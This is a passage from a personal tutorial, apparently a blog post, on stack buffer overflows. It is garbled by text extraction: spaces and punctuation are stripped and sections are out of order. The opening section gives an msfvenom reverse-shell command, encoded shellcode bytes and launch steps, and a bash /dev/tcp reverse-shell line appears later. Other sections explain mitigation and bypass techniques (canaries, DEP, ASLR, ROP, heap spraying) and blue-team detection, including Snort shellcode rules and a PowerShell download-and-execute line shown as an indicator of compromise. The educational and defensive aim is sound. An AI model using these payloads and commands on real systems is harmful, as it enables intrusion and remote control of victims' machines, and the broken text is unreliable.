xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix
WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-
ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks
WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo
LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit
YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems
WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC
ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes
Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode
FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch
CrashingtheStackFinallyrightitrsquosalongstrangetripSo
WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
